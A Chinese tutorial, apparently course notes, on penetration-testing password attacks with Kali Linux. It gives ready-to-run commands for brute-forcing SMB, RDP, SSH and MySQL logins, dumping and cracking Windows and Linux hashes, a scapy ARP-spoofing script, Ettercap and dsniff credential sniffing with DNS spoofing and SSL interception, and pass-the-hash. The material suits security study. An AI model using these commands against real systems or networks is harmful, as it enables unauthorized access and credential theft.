Kali Linux渗透测试——密码破解

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

当目标系统无任何已知漏洞时,可以考虑社会工程学或者获取目标系统的用户身份,通过合法账户登录绕过系统的安全防线。账户登录身份认证包括账号密码、passphrase、密保、手机、指纹、声纹、面部识别等,其中账号密码是安全级别较低的认证方式,基于互联网的身份认证仍以账号密码为主要形式。

密码破解的方法通常有基于社会工程学的人工猜测基于字典的暴力破解以及基于中间人攻击的密码嗅探

文章目录

    • 一、字典
      • (一)Crunch
      • (二)Cupp
      • (三)Cewl
      • (四)John the Ripper
    • 二、在线破解
      • (一)Hydra
      • (二)Medusa
    • 三、离线破解
      • (一)获取HASH
      • (二)识别HASH
      • (三)碰撞破解
    • 四、密码嗅探
      • (一)基本原理
      • (二)攻击实现
    • 五、Pass the HASH(PTH)

一、字典

字典是暴力破解的基础,根据已有信息生成精简高效、命中率高的字典是暴破成功的关键。一些字典资源在kali/usr/share/wordlist//usr/share/wfuzz/wordlist/等目录中可以找到,其他需要结合已有信息生成高效的字典,这里介绍四种字典生成工具。

(一)Crunch

强大的字典生成工具,基本规则:crunch [] [options]
eg:

crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100 
# -b 按大小分割字典(kb/kib、 mb/mib、 gb/gib)
# -c 按行数分割字典
# 以上两个参数必须与-o START结合使用,-o START为按顺序排列字典
# -d 同一字符最多连续出现数量,如果使用-t参数,则-d后要跟上不重复字符的类型,如-d@或-d%^

crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
# 指定charset.lst中的字符集

crunch 4 5 -p dog tiger bird
crunch 1 1 -p 1234567890
# 在指定的参数中排列组合(无重复)
# -p必须是最后一个参数,与-s 参数不兼容(-s指定起始字符串)
# 最大、最小字符长度失效,但必须存在

crunch 6 6 -t @,%%^^ -z 7z
# @ 代表小写字母 lalpha
# , 代表大写字母 ualpha
# % 代表数字 numeric
# ^ 代表符号 symbols
# 输出压缩文件,7z压缩比率最大

crunch 1 1 -q word
# 读取word文件每行内容作为基本字符生成字典
# 最大、最小字符长度失效,但必须存在

crunch 5 5 abc DEF + \!@# -t ,@^%,
# + 占位符,如果不使用指定的字符集,则需要使用加号占位;这里没有指定数字字符集,而是采用默认的0123456789,所以用+来占位
# \ 转义符(转义空格、符号)

crunch 5 5 -t ddd%% -p dog drag bird
# 任何不同于,@^%以及-p指定的值都是占位符

crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
# 为节省空间,可以将生成的字典直接作为输入给爆破程序使用

(二)Cupp

交互输入信息,按输入的信息生成专属的密码字典,需要在GitHub上下载。

git clone https://github.com/Mebus/cupp.git
./cupp.py -i      #交互输入信息

(三)Cewl

在破解具体门户网站用户的密码时,可以结合网站中出现频率较高的关键词,通过收集网站信息生成字典。
eg:

cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
# -m:最小单词长度
# -d:爬网深度
# -e:收集包含email地址信息
# -c:显示每个单词出现次数
# 支持代理

通过cewl查找到的素材往往需要经过筛选,作为爆破字典的一部分使用。同时要考虑将关键词进行变型,如末尾增加数字、大小写变化、字符与字符数字相互转换等,通常结合John等其他字典生成工具使用

(四)John the Ripper

John本身是一个功能强大的离线密码破解工具,同时能让我们在已有字典基础上外加规则,将基础词汇变型,得到词汇更加丰富的字典。实现字典词汇的动态变型,首先要在John的配置文件/etc/john/john.conf中修改规则,在配置文件中有很多section,以中括号标志,在section中可以定制自己需要的规则。
eg:

# 在[List.Rules:Wordlist]中存放了对基础字典进行变型的规则,使用password.lst时自动调用
# 在[List.Rules:Wordlist]中添加内容,表示在原有字典基础上末尾加数字进行扩展
[List.Rules:Wordlist]
$[0-9]
$[0-9]$[0-9]
$[0-9]$[0-9]$[0-9]

# 修改后使用命令
john --wordlist=cewl.txt --rules --stdout > m.txt
# --wordlist指定已有的基础字典cewl.txt
# --rules表示调用配置文件中的规则,默认为Wordlist

也可以自己生成字典规则进行使用,如在配置文件中添加:

[List.Rules:test]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[~!@#$%^&*()\-_=+]
# 修改后使用命令
john --wordlist=cewl.txt --rules=test --stdout > m.txt
#当rules规则不是用默认的Wordlist时,需要用--rules指定

二、在线破解

在线破解的基本原理是:利用工具不断给目标主机发送验证请求,通过响应信息判断是否成功登陆。当目标主机设置了较完善的登陆限制时(锁定阈值、单位时间请求限制等),破解效率较低。

(一)Hydra

  • 优势:速度非常快,支持协议多
  • 劣势:运行不稳定;速度太快,以至于有些服务会拒绝响应;每主机新建进程,浪费资源

基本规则:hydra server service [options]

eg:

hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vV
hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
# admin$ 是windows系统中的共享文件
# -t :主机并发登录数量限制

hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt
# -s :当服务开启的不是默认端口时用来指定端口
# -e nsr :添加空密码、用户名以及用户名倒序的检查
# -o :将找到的login/password写入指定文件

Hydra中还自带了用于筛选字典的工具 pw-inspector,可以基于已有字典进行筛选。
eg:

pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l -m 6 -M 7
# -l :筛选小写字母集
# -m :筛选最小长度
# -M :筛选最大长度

注:Hydra支持表单破解,但功能有些鸡肋,表单破解建议使用Burp Suite

(二)Medusa

  • 优势:运行稳定,速度控制得当;基于线程运行
  • 劣势:支持协议有待完善(目前仍不支持RDP)

基本规则:medusa -M modules [options]

eg:

# 查看支持模块
medusa -d

# 破解windows密码
medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -n 4455 -e ns -F
# -n :当服务开启的不是默认端口时用来指定端口
# -e ns :检查空密码和用户名
# -F : 找到正确密码后停止继续检查

# 破解Linux SSH密码
medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns -t 3 –F
# -t : 主机并发登录数量限制

# mysql服务密码破解
medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F

三、离线破解

计算机利用单向HASH算法,将密码映射成HASH值存储,在线破解的基本原理即设法获取这些HASH值,然后利用工具进行碰撞破解或者采用PTH。HASH加密算法包括MD5、MD4、SHA128、SHA256等,不同的HASH类型碰撞破解方法不同,基本思路:

  • 获取密码HASH
  • 识别HASH类型
  • 利用离线破解工具碰撞密码HASH

相比于在线破解的优势:

  • 不会触发密码锁定、登录限制等安全机制
  • 不会产生大量登陆失败日志引起管理员注意

(一)获取HASH

Windows系统登录后SAM文件是被锁死的,不能复制、移动,正常情况下打开是乱码或空白,窃取SAM文件可以登录并提权后用mimikatz、wce等工具,或者采取物理接触等非登录手段。

1.shell登陆

取得shell后利用漏洞提权,通过工具获取HASH值:mimikatz、wce等,参见:

Kali Linux渗透测试——提权

2.物理接触

首先通过Kali ISO启动Live模式虚拟机,然后利用samdump2工具:

mount /dev/sda1 /mnt             #挂载Windows主机磁盘
cd /mnt/Windows/System32/config  #SAM文件存放位置
samdump2 SYSTEM SAM -o sam.hash  

获取HASH文件后,可以用 nc 等工具进行传输

(二)识别HASH

一些离线破解工具自带HASH算法识别功能,也可以利用专用识别工具如:

  • hash‐identifier
  • hashid

一些常见的HASH算法长度:MD5(128bit、256bit)、SHA1(160bit)、SHA256(256bit)、SHA512(512bit)、MTLM(128bit)

注:可能识别错误或无法识别

(三)碰撞破解

1.Hashcat

强大的开源多线程密码破解工具,号称世界上最快的密码恢复工具,支持80多种加密算法破解,目前仅支持基于CPU计算能力破解。

有七种破解模式:

  • 0 Straight:字典破解
  • 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
  • 2 Toggle-Case:尝试字典中所有密码的大小写字母组合
  • 3 Brute-force:指定字符集(或全部字符集)所有组合进行暴破
  • 4 Permutation:字典中密码的全部字符置换组合(12 21)
  • 5 Table-Lookup:程序为字典中所有密码自动生成掩码
  • 8 Prince:王子破解

基本规则:hashcat [options] hashfile [mask|wordfiles|directories]

eg1:基本使用

hashcat -b --force
# -b:查看系统性能针对每个算法的破解速度
# 虚拟机环境需要将CPU内核数量设置为1,并加上--force忽略警告,否则会报错

hashcat -m 100 hash.dump pass.lst
# 默认以破解模式0运行
# -m:指定HASH算法

hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
# -a:指定破解模式,默认为模式0
# ?l:所有小写字符集
# ?u:所有大写字符集
# ?d:所有数字字符集
# ?s:所有特殊符号字符集
# ?a:以上所有字符集

hashcat -m 100 -a 3 hash.dump --increment --increment-min 6 --increment-max
8 ?l?l?l?l?l?l?l?l
# --increment:开启increment模式

eg2:破解Linux系统账号密码

Linux shadow文件记录格式为:
USERNAME:$HASH_ID$SALT$HASH:MODIFY_DATE:DISABLE_MODIFY_TIME:EXPIRE_TIME::::

例如:root:$6$OvgkjqcxNCBY2Ypk$UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/:18181:0:99999:7:::

其HASH值为:
UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/

hashcat -a 0 -m 1800 \$6\$OvgkjqcxNCBY2Ypk\$UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/ wordlist.txt -o crack.hash --force
# $在Linux环境下需要转义
# 破解成功Status......:Cracked,破解失败Status......:Exhausted
# 必须指定破解模式,-m 1800为 sha512crypt $6$, SHA512 (Unix)

eg3:破解Windows系统账号密码

Windows sam文件记录格式为:
USERNAME:SID:LM-HASH:NT-HASH:::

例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::

LM-HASH和NT-HASH是对同一个密码的两种不同的加密方式,LM-HASH已不再使用,其NT-HASH(即NTLM-HASH)值为:
683020925C5D8569C23AA724774CE6CC

hashcat -a 0 -m 1000 sam.ntlmhash wordlist.txt -o crack.hash --force
# sam.ntlmhash中仅保留NT-HASH部分

2.oclHashcat

号称世界上最快、唯一的基于GPU的密码破解软件,免费开源、支持多平台、支持分布式、支持150+hash算法,对硬件要求较高:

  • 虚拟机中无法使用
  • 支持 CUDA 技术的Nvidia显卡
  • 支持 OpenCL 技术的AMD显卡
  • 安装相应的驱动

使用方法基本同Hashcat
eg:

oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a

最新版本kali已将oclHashcat移除

3.John the Ripper

功能强大的离线密码破解工具,支持众多服务应用的加密破解,john --list=formats查看支持服务,同时支持某些对称加密算法破解。

默认破解模式分为三种,破解时依次运行:

  • Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
  • Wordlist:基于规则的字典破解,主配文件中已指定 ‘Wordlist=$JOHN/password.lst’
  • Incremental:所有或指定字符集的暴力破解

eg1:破解Linux系统账号密码

john -test
# 查看系统性能针对每个算法的破解速度

unshadow /etc/passwd /etc/shadow > pass.txt
# 合并passwd和shadow文件

john pass.txt
# 按照single、wordlist、incremental模式依次运行

cat ~/.john/john.pot
# 破解的密码信息存在~/.john/john.pot中

eg2:破解windows系统账号密码

john sam.dump -wordlist=myPassword -format=nt
# 指定字典为myPassword,指定HASH算法,而不是采用john检测的结果
# Windows中HASH采用NTLM算法

cat ~/.john/john.pot
# 查看破解结果

eg3:破解rar、zip等加密文件

# 以rar破解为例
rar2john passwd.rar >> rar.hash
# 内容为:wang.rar:$RAR3$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e:0::::wang.rar
john rar.hash -wordlist=wordlist.txt
cat ~/.john/john.pot

rar2john提取HASH值后,也可以用hashcat进行破解:

# 保留其密钥信息:$RAR3$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e
hashcat -h
# 查看HASH加密类型对应ID
# RAR3-hp类型为12500
# RAR5类型为13000

hashcat -a 3 -m 12500 \$RAR3\$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e ?d?d?d?d?d?d -o crack.hash --force

4.RainbowCrack

基于时间记忆权衡技术生成彩虹表,提前计算密码的HASH值,通过比对HASH值破解密码,不用每次破解都重新计算,但是计算HASH的速度很慢,修改版可以支持CUDA GPU。

彩虹表生成工具:RainbowCrack,下载地址: http://project-rainbowcrack.com/rainbowcrack-1.7-linux64.zip ,基本命令(必须顺序使用):

  • rtgen:预计算,生成彩虹表,耗时的阶段
  • rtsort:对rtgen生成的彩虹表进行排序
  • rcrack:查找彩虹表破解密码

目前支持算法仅包括:LM、NTLM、MD5、SHA1、SHA256

eg:

#下载解压并进入目录
wget http://project-rainbowcrack.com/rainbowcrack-1.7-linux64.zip
unzip rainbowcrack-1.7-linux64.zip && cd rainbowcrack-1.7-linux64
#改变可执行文件的使用权限
chmod 754 rcrack rt2rtc rtc2rt rtgen rtmerge rtsort

#./rtgen -h 
rtgen md5 loweralpha 1 7 0 1000 1000 0
rtgen md5 loweralpha 1 7 0 -bench
#-bench :查看彩虹表生成速度

#./rtsort -h 
rtsort /md5_loweralpha#1-7_0_1000x1000_0.rt 

#./rcrack -h 
rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
#用彩虹表爆破单个HASH
rcrack *.rt -l hash.txt
#用彩虹表爆破HASH文件,每行一个HASH

计算彩虹表时间可能很长,所以一般下载彩虹表使用,常用网址:
Free Rainbow Tables
RainbowCrack Tables

四、密码嗅探

基本原理:利用中间人攻击,嗅探、分析目标和网络节点之间的数据包,完成密码窃取。
Kali Linux渗透测试——密码破解_第1张图片

图1 中间人攻击

(一)基本原理

注意节点设备集线器和交换机的区别:

  • 集线器工作在一层,全端口转发数据包,不作任何过滤
  • 交换机工作在二层,交叉总线矩阵使端口之间独享带宽,根据MAC地址表对数据进行过滤,减缓流量拥塞状况

因此集线器连接的设备网卡在混杂模式可以收到所有设备发出的数据包,而交换机连接的设备网卡在混杂模式默认只能收到发给自己的单播数据包和广播数据包。

1.ARP欺骗

ARP协议设计有严重安全缺陷,建立连接过程仅包括请求和响应两个部分,这两个部分相对独立,响应数据包可以单独伪造,和请求之间没有必然联系,所以它也被称为基于传闻的协议,网络设备不会去验证ARP响应信息的来源。攻击者可以伪造网关的ARP ACK或者Request包,对攻击目标实施欺骗,使得攻击目标数据包经由攻击者转发,实现信息嗅探。

2.ICMP重定向

ICMP通常用于完成差错通知和信息查询,在特定的情况下,当路由器检测到一台机器使用非优化路由的时候,它会向该主机发送一个ICMP重定向报文,请求主机改变路由,指导数据包的正确流向,正常工作时如图2所示:

(图片来源:https://www.cnblogs.com/KevinGeorge/p/7866840.html), 其中R1提示C1改变路由即是应用ICMP。
Kali Linux渗透测试——密码破解_第2张图片

图2 ICMP重定向原理

ICMP重定向报文没有协议状态检查,以及合法性机制验证,可以结合ARP欺骗,通过伪造网关向攻击目标发送ICMP重定向报文,使得攻击目标数据包经由攻击者转发,实现信息嗅探。

注意:路由器不会响应ICMP重定向包,路由重定向只对客户端有效,数据转发过程是单工通信。

3.DHCP欺骗

DHCP建立连接包括 Discover->Offer->Request->Ack 四个部分,当需要分配IP的主机发出Discover或Request包时,攻击者立即响应,修改配置指定自身IP为网关地址,使得攻击目标数据包经由攻击者转发,实现信息嗅探。

注意:网关不会响应DHCP Offer、Ack 包,DHCP欺骗只对客户端有效,数据转发过程是单工通信。

4.交换机端口欺骗

交换机在记录MAC地址转发表时,会根据数据包的源MAC地址进行学习,如果伪造数据包,将源MAC地址设置为攻击目标MAC地址,目的MAC地址设置为自身MAC地址,这样发出的数据包可以诱使其他主机将本应发往攻击目标的数据发给自己,从而实现嗅探信息。适合ARP静态绑定的环境。

5.DNS欺骗

DNS查询分为两个过程,第一个过程是查询主机到本地域名服务器的过程,为递归查询,第二个过程为本地域名服务器到根域名服务器、顶级域名服务器、权限域名服务器的查询过程,为迭代查询,最后本地域名服务器将查询结果返回给查询主机。DNS欺骗通过响应目标主机的查询数据包完成欺骗,配置错误的IP地址。

6.SSL/TLS证书伪造

HTTPS,即 HTTP over SSL/TLS,其建立链接主要是用非对称加密传输对称加密密钥的过程, 之后通信数据用对称密钥加密。SSL/TLS证书是用CA机构私钥加密的Server公钥信息,证书伪造即攻击者在可以截获攻击目标上行数据的基础上,完成ServerHello以及之后的工作,同时向真正的服务器发送相同的HTTPS请求建立连接,完成攻击目标和服务器之间的数据中转,以此进行信息嗅探。

Kali Linux渗透测试——密码破解_第3张图片

图3 HTTPS建立通信过程

(二)攻击实现

1.编写脚本

例如用python中scapy模块编写发包脚本,实现ARP欺骗:

from scapy.all import *
etherSec = Ether(dst="00:0c:29:0c:54:a4",src="00:0c:29:49:54:4a") 
# dst是目标主机MAC地址,src是嗅探主机MAC地址

arpSec = ARP(pdst="192.168.43.23",psrc="192.168.43.1")    
# pdst是目标主机ip,psrc是网关ip

arpPack = etherSec/arpSec
for i in range(6000):
    sendp(arpPack)
    print('arpPack send OK\n')
    time.sleep(1)

攻击成功后,可以看到攻击目标中ARP记录网关MAC地址已更改:

Kali Linux渗透测试——密码破解_第4张图片

图4 ARP欺骗结果

2.Ettercap

Ettercap是经典的中间人攻击工具集,支持SSH1、SSL/TLS中间人攻击,用户操作界面分为四种:-T(文本界面)、-G(图形界面)、-C(基于文本的图形界面)、-D(后台模式),划分为五个模块:

(1)Sniffer:负责数据包转发,分为Unified和Bridge:

  • Unified:单网卡情况下使用,独立 完成三层数据包转发,过程中禁用内核IP_Forward功能。
  • Bridge:双网卡情况下一层MITM模式,相当于两个网卡桥接,隐蔽性高,不可用于网关。

(2)MITM:把流量重定向到Ettercap主机,MITM模块包括:ARP欺骗、ICMP重定向、DHCP欺骗、DNS欺骗、交换机端口欺骗等。指定目标格式:MAC/IPs/IPv6/Ports
eg:

ettercap -i eth0 -T -M arp:remote -q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
# -T:命令行模式
# -M:指定MITM模块,arp:remote全双工嗅探数据
# -q:只会打印用户、密码等重要信息
# -F:指定Filter
# -P:指定Plugin
# -w:嗅探所有的网络流量写入指定pcap文件
# -l:记录关键日志信息,生成记录信息的文件格式为eci,需要用etterlog查看
# -L:记录所有日志信息,生成记录信息的文件格式为eci,记录数据包的文件格式为ecp,需要用etterlog查看
# -m:记录所有的操作信息

#SSL/TLS MITM
vim /etc/ettercap/etter.conf
# 在配置文件中在Linux section下将reidr_command_on和reidr_command_off配置行加上,这样再进行MITM攻击时会自动完成SSL/TLS证书伪造

(3)Filter:利用脚本进行数据筛选,/usr/share/ettercap/中带filter的都是筛选文件
eg:

# SSH-2.xx(only support ssh2)/SSH-1.99(support ssh1 and ssh2)/SSH-1.51(only support ssh1)
# 目前ettercap只能对ssh1进行MITM攻击
# 进行ssh链接请求时,ettercap会截获ssh服务器返回的response包
# 如果ssh服务器提供的是1.99版本,则将服务降级到ssh1版本
etterfilter etter.filter.ssh -o ssh.ef
# 对etter.filter.ssh源文件进行编译,生成ef可执行文件,执行ettercap命令时进行调用
# 该filter可以探测攻击目标的ssh版本,若是1.99则会降级为1.51

(4)Log:日志记录,文件格式为eci(信息日志)和ecp(数据日志),内容经过加密,需要通过etterlog查看
eg:

etterlog -p log.eci 
# 查看获取的用户、密码信息

etterlog -c log.ecp 
# 列出Log中的数据包信息

etterlog -c -f /1.1.1.1/ log.ecp
# 只列出源地址或终端地址为target的数据包

(5)Plugin:集成插件,包括dns_spoof等模块
eg:

vim /etc/ettercap/etter.dns
# 修改Ettercap中的域名重定向文件

ettercap -Tq -M arp:remote -i eth0 /192.168.1.1// /192.168.1.1// -P dns_spoof

注意:Ettercap默认只有在创建socket时会调用root权限,后续操作都都是以nobody身份运行,ec_uid为65534,可能导致后续读写文件受限,运行时可以在其主配文件 /etc/ettercap/etter.conf 中将ec_uid修改为0,但是安全性会降低。

3.其他工具

除了像Ettercap一类的MITM工具集,还有一些功能相对单一的MITM工具:

  • Dsniff:功能强大的网络嗅探工具包,集 dsnifffilesnarfmailsnarfurlsnarfwebspyarpspoofdnsspoof 等工具于一体,最新版本在2001年就已经发布,早已不再更新,目前 Kali 中不再默认安装 dsniff,需要下载。

  • driftnet :图片截取工具

  • dnschef:DNS欺骗工具

apt-get install dsniff

# kali中ip数据包转发的功能默认是关闭的,需要开启
echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 -t 192.168.43.23 -r 192.168.43.1
# -t:攻击目标ip,-r:网关ip
# 攻击成功后攻击者就成了中间人,转发攻击目标和网关之间的信息

# 在完成ARP欺骗后,可以进一步使用dsniff、urlsnarf、webspy、driftnet等工具进行攻击
dsniff -i eth0 -m
# 仅截取流量中的密码信息
# -m:自动加密方式检测
# /usr/share/dsniff/dsniff.services文件存放触发加密算法

urlsnarf -i eth0
# 截取本机网卡流量中的url

webspy -i eth0 1.1.1.10
# 截取指定主机web网址
# 目前运行仍不稳定

driftnet -i eth0 -a -d tempdir
# -a:不实时显示图片,将截取图片保存到temdir目录
# -d:指定图片保存目录

# 使用dnschef的前提是能够修改攻击目标的本地域名服务器
# 将其配置为攻击者的IP,然后使用dnschef命令
dnschef --fakeip=1.1.1.10 --fakedomains=www.google.com,www.youtube.com -q
# --fakeip:被欺骗的域名要访问的IP
# --fakedomains:需要欺骗的域名

五、Pass the HASH(PTH)

密码破解耗费时间资源巨大,对于没有加盐的静态HASH认证登录,可以使用密文直接提交给服务器完成身份认证,这种攻击方式对企业中使用ghost等工具克隆安装的系统更有威胁性。

  • NTLM/LM是没有加盐的静态HASH,可以基于此对Window系统采用PTH攻击

eg:

pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8 //1.1.1.1 cmd
# 使用方法:pth-winexe [OPTION]... //HOST COMMAND
# -U USERNAME[%HASH_PASS]

你可能感兴趣的:(Kali,Linux渗透测试)